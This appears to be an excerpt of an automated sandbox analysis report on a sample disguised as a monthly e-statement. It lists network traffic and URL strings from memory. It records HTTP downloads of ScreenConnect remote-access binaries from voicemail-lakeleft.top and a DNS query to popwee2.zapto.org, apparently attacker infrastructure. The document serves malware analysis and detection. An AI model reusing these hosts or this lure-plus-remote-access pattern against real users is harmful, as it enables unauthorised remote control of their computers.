Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: voicemail-lakeleft.top
Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: popwee2.zapto.org

Source: svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157747586.000002094ED37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 0000000E.00000002.3157985888.000002094F21D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb:pp
Source: svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tbA
Source: svchost.exe, 0000000E.00000002.3156215845.000002094E4B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3158220210.000002094F299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: monthly-eStatementForum120478962.Client.exe, 00000000.00000002.2255664157.000000000134C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrust
Source: C56C4404C4DEF0DC88E5FCD9F09CB2F10.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: F2E248BEDDBB2D85122423C41028BFD40.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: svchost.exe, 00000004.00000002.2920493879.0000019A7EE00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3156571081.000002094E4CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: dfsvc.exe, 00000001.00000002.3178098823.000001E8CDFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningR
Source: dfsvc.exe, 00000001.00000002.3178098823.000001E8CDFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRH
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: monthly-eStatementForum120478962.Client.exe, 00000000.00000002.2255664157.000000000134C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256Time
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dfsvc.exe, 00000001.00000002.3176665958.000001E8CDE7D000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD41570.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: dfsvc.exe, 00000001.00000002.3176665958.000001E8CDE88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enD
Source: svchost.exe, 0000000E.00000003.1929317541.000002094ED7C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914328789.000002094ED78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200
Source: svchost.exe, 0000000E.00000003.1929317541.000002094ED7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecuri
Source: svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 0000000E.00000002.3157558612.000002094ED10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1837600169.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857195324.000002094ED08000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1836923942.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1874189629.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1836908409.000002094ED07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945573249.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914239278.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1890698251.000002094ED09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945681014.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1890597917.000002094ED07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1912708788.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1929278264.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857088725.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914178618.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1874058215.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1837663842.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1837784115.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945445109.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914301366.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
Source: svchost.exe, 0000000E.00000003.1856885795.000002094ED29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA
Source: svchost.exe, 0000000E.00000003.1718011909.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdC
Source: svchost.exe, 0000000E.00000003.1874035484.000002094ED7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdsAAAA
Source: svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857145310.000002094ED5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1836923942.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1836908409.000002094ED07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945573249.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1929317541.000002094ED7C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914328789.000002094ED78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1874035484.000002094ED7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914178618.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 0000000E.00000003.1890698251.000002094ED09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd$
Source: svchost.exe, 0000000E.00000002.3157558612.000002094ED10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1837600169.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857195324.000002094ED08000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1836923942.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1874189629.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1836908409.000002094ED07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945573249.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914239278.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1890698251.000002094ED09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945681014.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1890597917.000002094ED07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1912708788.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1929278264.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857088725.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914178618.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1874058215.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1837663842.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1837784115.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945445109.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914301366.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
Source: svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1856885795.000002094ED29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA
Source: svchost.exe, 0000000E.00000003.1856885795.000002094ED29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA
Source: svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdTz
Source: svchost.exe, 0000000E.00000003.1718011909.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:
Source: svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1874035484.000002094ED7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdsTz
Source: svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdx
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.4.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F1410.1.dr	String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxX
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 00000001.00000002.3174278141.000001E8CC3FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 00000001.00000002.3173633903.000001E8CC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crl
Source: svchost.exe, 0000000E.00000002.3158220210.000002094F281000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157944399.000002094F200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155699966.000002094E483000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3156686908.000002094E4EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: svchost.exe, 0000000E.00000003.1874139847.000002094F233000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157985888.000002094F21D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 0000000E.00000002.3157747586.000002094ED37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857145310.000002094ED5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945573249.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914178618.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945573249.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914178618.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee
Source: svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issueure
Source: svchost.exe, 0000000E.00000002.3156571081.000002094E4CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue0
Source: svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 0000000E.00000002.3157747586.000002094ED37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustn
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3C9A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000009.00000002.3158058619.00000000017D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.13.dr	String found in binary or memory: http://upx.sf.net
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B40BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.o
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B414C000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B40E6000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B40BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.or
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3D10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3D10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698718052.000002094ED56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000000E.00000003.1698718052.000002094ED56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
